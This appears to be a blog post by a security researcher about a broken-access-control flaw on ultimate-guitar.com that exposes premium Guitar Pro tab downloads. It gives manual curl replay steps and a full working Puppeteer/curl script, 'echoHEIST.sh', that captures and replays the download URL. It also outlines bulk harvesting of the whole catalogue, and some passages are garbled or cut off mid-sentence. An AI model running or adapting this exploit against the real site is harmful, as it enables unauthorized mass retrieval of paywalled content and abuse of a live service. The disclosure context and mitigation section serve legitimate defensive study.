Its been close to a month now since I disclosed a proof of concept bug to ultimate-guitar dot com which leverages what OSWAP would consider as:
- Primary: broken access control issue resulting in
- secondary: authentication bypass in the context of unauthorized file retrieval.
The bug takes advantage of the way a proprietary web app loads content to be used to sample - which acts as a way to briefly preview their now vast archive of user generated guitar pro tabs.
This article will discuss in great detail its discovery, manual exploitation, scripted exploitation, hypothetical scripted exploitation in bulk, potential mitigatation methods, comparisons with other websites offering similar services, and alternative methods to obtain guitar pro files.
A BIT OF BACKGROUND
AROBAS MUSIC AND GUITAR PRO 3
When I was first learning guitar - by far, the most useful tool to self teach myself came in the form of software named GuitarPro (Moving forward, will refer to as gp). This software was ahead of its time - it changed the game with respect to self teaching onesself music. For perspective, we are turn of the century, where software development had to take careful consideration into a vast variety of computational or bandwidth limitations with respect to end user appeal. That line was a fine one. Anyone who came up in that time will certainly remember the pains of downloading even a song via napster. A time when magazines still dominated the XXX scene, because you could be waiting up to a minute just to draw one decent quality pr0n image to screen.
Lude - I know, but its a relevant comparison. And for any of the Gen Z people who are reading this - Even with the headonistic nature of a platform such as the internet - we had very real barriers for going next level with it. And that is a rabbit hole for another day.
I bring this up as an introduction to the GP file format - which cleverly created a software and format which could be optomized incredibly for its time with respect to size limitations of stoarage/processing power, internet bandwidth and speed, while functionally offering what users were looking for.
MIDI EXPANSION
I am not going to trip down the rabbit hole discussing audio formats. But if you have an interest in this sort of thing, it is wortwhilechecking out this wikipedia article on MIDI. The important takeaway is as long as I can rememver, MIDI has been used in tons of games, applications, websites, hardware mappnig controls, etc. It is very much still a relevant format. why. Lets take a brief look at it as well as with respect to how it could be beneficial to a software like GuitarPro.
The GuitarPro file format at its core is an extension of the MIDI file format. The first time I saw it was as**.gp3**, GuitarPro v3 but there exists .gp4, .gp5, .gpx, .gp7, .gp to date. The format was designed by Arobas Music as a proprietary file type to be used with their OG GuitarPro software. Its midi
- A. Track Layering (up to 16 channels)
- B. Minimal file size, especially with respect to true audio (FLAC, WAV,) and even compressed (mp3)
- C. Easy MIDI mapping to output audio device. One often overlooked trait of MIDI is that it is exclusively a sound related format. This is a common misconception. You have likely heard the term Midi Controller. The reason behind this, is because as a midi controller, the device itself doesnt make sounds - my mini MKII keyboard has no speakers and rather sends commands - not unlike a keyboard - only with a little more variety specifically with relationto music (dynamics, etc). The system interprets the raw data and in real time can apply it to a sound bank, an instrument, etc.
- D. Cross platform compatibility …literally are midi renditions of original content that is actually owned by artists. Its not abnormal to have artists ask for takedowns out of worry that sales for an official tabbook might be effected. 2. The tablature is generated by players from all around the world and have been posted in public domain.
MONETIZATION MODEL
For clarity, most if not all guitar pro files served by ultimate-guitar are community generated - Theyve cleverly archived these files and created a community where guitarests would share and upload these files. So taking that in stride, important considerations taken include
The takeaway is, rest assured there is nothing illegal presented in this post. I am not subjected to conditions with respect to this disclosure (ultimate guitar is not part of a bug bounty) and the sites maintainers have not reached out to me since my responsible disclosure report my report.
Their model for monetizing is rooted in ads and an account tier system - which adds perks such as unlimited use of their web app in browser to run guitar pro tabs.
Years ago, their pages which offered guitar pro tabs had working download buttons.
Status 200 (OK), Size 84 kB, MIME audio/x-guitarpro.
A quick replay in curl
(with the same headers) returned the full .gp5
. Removing cookies entirely still worked. At that moment the scope of the failure became obvious: the server never mapped the download slug back to a specific session. Anyone who knows or can sniff the slug can replay it at will.
Modern Ultimate-Guitar pages are Single-Page-Apps rendered in React. When you click Play on any GP track, the browser silently asks he
backend for a pre-mixed binary of the tab at:
[origin]/download/public/
The request is GET, stateless, and—crucially—never checked against the user’s subscription tier once the URL is minted. Because that opaque token is generated entirely in the front-end, Replay is trivial: copy the URL, paste it into curl, profit.
Manual exploitation looks like this:
- Open the target tab in Chrome/Firefox.
- Intercept traffic with Burp, Caido, or DevTools.
- Copy the full
/download/public/<slug>
request—including all request headers.
- Replay it in
curl
, redirecting output to song.gp5
.
curl -s -k 'https://.../download/public/<token>' -H 'cookie: ...' -o song.gp5
THE echoHEIST AUTOMATION
I wrote the following shell script uploaded with this article, echoHEIST.sh, automates those four steps by utilizing inline NodeJS and Puppeteer to curl. You can find it, as well as my detailed writeup on my github (links at the bottom of the article):
#!/usr/bin/env sh
# echoHEIST.sh – KBS 2025-01-14
usage() { echo "Usage: $0 <TAB-URL>"; exit 1; }
[ -z "$1" ] && usage
iURL="$1"
oName=$(echo "$iURL" \
| sed -E 's|https://tabs.ultimate-guitar.com/tab/||' \
| tr '/A-Z' '_a-z')
oFile="${oName}.gpx"
echo "Generated file name: $oFile"
echoHEIST() {
echo "Listening for /download/public/ …"
node -e "
const puppeteer=require('puppeteer');
const {exec}=require('child_process');
(async()=>{
const browser=await puppeteer.launch({headless:true,args:['--no-sandbox']});
const page=await browser.newPage();
await page.setRequestInterception(true);
page.on('request',req=>{
const u=req.url();
if(u.includes('download/public/')){
console.log('Captured '+u);
const hdr=Object.entries(req.headers())
.map(([k,v])=>'-H \""+k+': '+v+"\"').join(' \\\n ');
const cmd='curl -s -k \""+u+"\" \\\n '+hdr+' \\\n --output "+process.env.oFile;
exec(cmd,(e)=>e?console.error(e):console.log('Download complete'));
}
req.continue();
});
console.log('Visiting '+process.env.iURL);
await page.goto(process.env.iURL,{waitUntil:'networkidle2'});
await browser.close();
})();
"
}
echoHEIST
Why it works
Puppeteer interception – By enabling page.setRequestInterception
the script sees every fetch the SPA makes, including the guarded one that actually delivers the file.
String-matching on the fly – The only pattern required is /download/public/
; once matched, the script reconstructs an
equivalent curl command with all original headers, cookies and user-agent intact. No crypto, no auth token rotation.
Server-side blind spot – Ultimate-Guitar trusts that if the JavaScript issued the request, the user must be entitled. The backend
never ties the opaque token to a session ID or checks whether the cookie is still valid. Any intercepted URL remains live until the
cache TTL (often several hours).
Filesystem-safe naming – A few POSIX sed
and tr
calls turn the tab URL into a readable output filename, preserving band, song and
internal ID for later use.
Because every step is deterministic, the attack scales: feed echoHEIST a text file of tab URLs, run it in a while read
loop, and mirror the entire premium catalogue overnight.
BULK HARVEST SCENARIO
With a small wrapper you could enumerate numeric tab IDs (1-3 million), fire headless Chromium in parallel pools, and churn 50 req/s. Each download is 50-100 KB, so even a home connection can exfiltrate the full archive (~25 GB) invisibly under common CDN rate-limits. I actually did develop this along with a GUI using FuzzyFinder (article main image), but have not and will not release it. It allowed you to pull all the tab information for any artist and bulk download.
DEFENCES & MITIGATIONS
Origin-bound, short-lived tokens
Serve each tab via a URL signed server-side with HMAC or JSON-Web-Token scoped to
– user-id
– subscription-tier
– IP / device fingerprint
– expiry (≤ 60 s)
One-time download lease
Once the file is streamed, immediately invalidate the token.
Backend before edge
Validate entitlement deep in the application layer, not inside client JavaScript.
Content-Disposition hardening
Stream GP files with Content-Disposition:inline
and X-Accel-Redirect
behind a reverse-proxy that performs the entitlement check.
Replay detection & rate-limit
Maintain a per-user nonce table or sliding-window counter; block any token seen twice or any user exceeding a sane threshold.
Audit & anomaly alerts
Trigger alarms on
– hundreds of downloads from one IP / cookie
– curl-style UA strings
– downloads without a preceding GraphQL entitlement query.
Properly implemented, those measures nullify echoHEIST by ensuring a captured URL dies the moment it leaves the browser tab.
CLOSING THOUGHTS
Replay attacks thrive wherever business logic lives in JavaScript instead of the server. The fix is rarely exotic crypto; it is the discipline of checking every request where the data actually resides. Until then, echoHEIST remains a one-file reminder that the path of least resistance is usually curl -O
.
LINKS
File |
Description |
Link |
echoHEIST.sh |
Original Exploitation Script |
github |
Disclosure.pdf |
Disclosure Report |
github |